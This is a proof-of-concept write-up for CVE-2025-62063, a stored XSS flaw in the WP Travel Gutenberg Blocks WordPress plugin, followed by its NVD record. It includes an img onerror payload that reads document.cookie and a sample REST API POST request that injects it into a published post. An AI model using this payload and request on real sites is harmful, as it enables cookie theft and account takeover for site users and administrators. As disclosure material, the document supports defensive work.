CVE-2025-62063

/* CVE-2025-62063 PoC - WP Travel Gutenberg Blocks XSS */ /* This PoC demonstrates Stored XSS in WP Travel Gutenberg Blocks plugin */ // Payload: <img src=x onerror=alert(document.cookie)> // Attack Flow: // 1. Attacker with low-privilege account creates/edits a post // 2. Uses Gutenberg block from WP Travel plugin // 3. Inserts malicious JavaScript payload in the block content // 4. Saves and publishes the post // 5. When victim (admin/other user) visits the page, XSS triggers // Example HTTP POST request to inject XSS: /* POST /wp-json/wp/v2/posts/{post_id} HTTP/1.1 Host: target.com Content-Type: application/json Authorization: Bearer {low_privilege_token} { "content": "<!-- wp:wp-travel-blocks/trip-details --> <div class=\"wp-travel-blocks-trip-details\"> <img src=x onerror=alert(document.cookie)> </div> <!-- /wp:wp-travel-blocks/trip-details -->", "status": "publish" } */ // Simple PoC for verification: const pocPayload = '<img src=x onerror=console.log(document.cookie)>'; console.log('XSS Payload:', pocPayload); console.log('Target: WP Travel Gutenberg Blocks <= 3.9.2');

{"cve": {"id": "CVE-2025-62063", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:05.467", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Travel WP Travel Gutenberg Blocks wp-travel-blocks.This issue affects WP Travel Gutenberg Blocks: from n/a through <= 3.9.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-travel-blocks/vulnerability/wordpress-wp-travel-gutenberg-blocks-plugin-3-9-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}